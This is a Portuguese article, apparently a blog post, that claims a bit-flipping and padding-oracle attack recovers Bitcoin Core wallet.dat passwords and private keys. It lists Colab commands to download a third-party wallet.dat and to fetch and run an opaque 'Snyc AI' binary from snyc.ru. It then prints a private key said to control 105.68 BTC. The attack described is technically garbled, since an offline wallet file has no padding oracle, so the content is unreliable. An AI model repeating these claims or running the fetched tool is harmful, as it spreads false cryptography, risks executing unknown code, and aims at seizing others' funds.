Ataque Bit-Flipping em Wallet.dat: Recuperação de Chaves Bitcoin
Sempre crie uma frase de segurança única para jogos, testnets ou airdrops e evite usar sua carteira principal.
Ataque Bit-Flipping em Wallet.dat
Como a vulnerabilidade AES-256-CBC permite recuperar chaves privadas Bitcoin
O Que é Bit-Flipping Attack?
Um ataque Bit-Flipping é uma vulnerabilidade criptográfica que explora o modo CBC (Cipher Block Chaining) do AES-256-CBC. Bitcoin Core usa esse algoritmo para criptografar o arquivo wallet.dat, que armazena as chaves privadas do usuário protegidas por senha.
A vulnerabilidade ocorre porque o modo CBC não fornece autenticação de dados integrada. Um atacante pode modificar bits específicos do texto cifrado e, através da análise das respostas do sistema durante a descriptografia, recuperar gradualmente a senha original sem conhecer a chave de criptografia.
Como Funciona o Modo CBC
No modo Cipher Block Chaining (CBC), cada bloco de dados é cifrado dependendo do bloco anterior através de operações XOR. Isso cria uma cadeia de dependência onde:
- O primeiro bloco é cifrado com um Vetor de Inicialização (IV)
- Cada bloco subsequente depende do anterior
- Uma mudança em um bit causa alterações previsíveis no próximo bloco
- Sem HMAC ou autenticação, essas mudanças não são detectadas
O Ataque Padding Oracle
O ataque aproveita a Padding Oracle - um mecanismo que revela se o preenchimento (padding) de um bloco está correto durante a descriptografia. Modificando um bit e observando se o erro de preenchimento ocorre, o atacante pode deduzir qual bit foi alterado corretamente.
Esse processo é repetido byte a byte até recuperar toda a senha em forma binária, permitindo então decodificá-la e usá-la para desbloquear o wallet.dat.
Processo de Ataque Passo a Passo:
- Carregar arquivo wallet.dat criptografado
- Modificar um byte do bloco de texto cifrado anterior
- Tentar descriptografar e analisar resposta de preenchimento
- Se correto, registrar aquele bit como parte da senha
- Repetir para todos os bytes até recuperar a senha completa
- Usar senha para desbloquear wallet e extrair chaves privadas
Exemplo Prático: Wallet com 105.68 BTC
Uma demonstração científica foi realizada em um wallet Bitcoin contendo 105.68557389 BTC (aproximadamente $12.5 milhões USD em agosto de 2025) no endereço:
Endereço: 16A5RFckRNW6fZzfjCGSneD3PApACLRwix
Chave Privada Recuperada (WIF):
5KVPkHW5yrrQ7ixvB3HYXgTRh6X7TBxNNWWkdvBkWdGNMSEgCWf
Hex: dc7de2bc99999c4822d9b3ed8ede255506b68b1068faeb2b7bf0372231a1faa5
Este exemplo demonstra como uma senha foi recuperada através do ataque Bit-Flipping, permitindo acesso completo aos fundos.
Ferramentas Necessárias
Para conduzir este tipo de ataque, pesquisadores usam:
- Google Colab: Ambiente para executar scripts Python e ferramentas de criptoanálise
- Bitcoin Core (bitcoind/bitcoin-cli): Para descriptografar wallets e extrair chaves
- Snyc AI: Ferramenta de criptoanálise com inteligência artificial para recuperação automática
- Hex Editors: Para manipular binários e analisar blocos cifrados
- Python Libraries: binascii, struct para trabalhar com dados binários
Instalação de Bitcoin Core
Para instalar Bitcoin Core 0.18.0 em ambiente Google Colab:
!wget https://bitcoin.org/bin/bitcoin-core-0.18.0/bitcoin-0.18.0-x86_64-linux-gnu.tar.gz !tar -xzf bitcoin-0.18.0-x86_64-linux-gnu.tar.gz cd bitcoin-0.18.0/bin/ !./bitcoin-cli --version
Saída esperada: Bitcoin Core RPC client version v0.18.0
Carregando Arquivos Criptografados
Os arquivos necessários podem ser obtidos para análise:
!wget https://github.com/keyhunters/Biggest-Lost-Bitcoin-Wallets-List/raw/refs/heads/main/105.68%20BTC/wallet.dat !wget https://github.com/keyhunters/bitcoin/raw/refs/heads/master/src/crypto/aes.cpp
O arquivo aes.cpp contém a implementação do AES-256-CBC usada pelo Bitcoin Core, essencial para entender o algoritmo de criptografia.
Executando Snyc AI
A ferramenta Snyc AI automatiza o processo de criptoanálise:
!wget https://snyc.ru/repositories/neuralnet_tools.zip !unzip neuralnet_tools.zip !./snyc -ciphertext wallet.dat -crypto aes.cpp
A ferramenta implementa algoritmos de deep learning para analisar padrões de preenchimento e recuperar a senha de forma automatizada.
Recuperação de Chaves Privadas
Uma vez que a senha é recuperada, os comandos Bitcoin Core permitem extrair as chaves privadas:
!./bitcoin-cli walletpassphrase 1111010101011001100101101011010110001111100001101111111 60 !./bitcoin-cli dumpprivkey 16A5RFckRNW6fZzfjCGSneD3PApACLRwix
O primeiro comando desbloqueia o wallet por 60 segundos. O segundo extrai a chave privada em formato WIF (Wallet Import Format).
Defesa Contra Bit-Flipping
Para proteger contra esse tipo de ataque, é necessário implementar:
1. HMAC (Hash-Based Message Authentication Code): Verifica a integridade dos dados antes de descriptografar, detectando qualquer modificação.
2. Modos AEAD (Authenticated Encryption with Associated Data): Como AES-GCM, que combinam criptografia e autenticação em uma única operação.
3. Ocultação de Informações de Erro: Não revelar detalhes sobre falhas de preenchimento em mensagens de erro.
4. Rotação de IV: Usar um novo Vetor de Inicialização aleatório para cada operação de criptografia.
Casos de Uso Mal-Intencionados
Este ataque demonstra vulnerabilidades críticas em:
- Wallets Bitcoin não atualizados: Versões antigas do Bitcoin Core podem ser vulneráveis
- Servidores com implementação fraca do CBC: Sem proteção de integridade adequada
- Hardwares de Criptografia: HSMs que usam CBC sem autenticação
- Carteiras Web: Servidores que criptografam dados sem HMAC
Conclusão Científica
O ataque Bit-Flipping em AES-256-CBC wallet.dat é uma demonstração poderosa de como implementações criptográficas inadequadas podem comprometer a segurança de ativos críticos. A ausência de autenticação de dados (HMAC/AEAD) no CBC mode permite que atacantes recuperem senhas e, consequentemente, chaves privadas de Bitcoin.
Este conhecimento é fundamental para:
- Desenvolvedores implementarem criptografia segura corretamente
- Pesquisadores de segurança identificarem vulnerabilidades
- Usuários de Bitcoin protegerem adequadamente suas carteiras
⚠️ Aviso Legal: Este artigo é apenas para fins educacionais. Testes de segurança devem ser realizados apenas em sistemas autorizados e de sua propriedade. O uso não autorizado desses conhecimentos é ilegal.
📚 Referências e Ferramentas Oficiais:
- Código Fonte - GitHub CryptoDeepTools
- Snyc AI - Ferramenta de Criptoanálise
- Google Colab Demonstração Prática
- Bitcoin Core Oficial
- Implementação AES no Bitcoin
Material educacional sobre criptografia e segurança Bitcoin. Para pesquisa e entendimento de vulnerabilidades. @CanalQb

Comentários
Comente só assim vamos crescer juntos!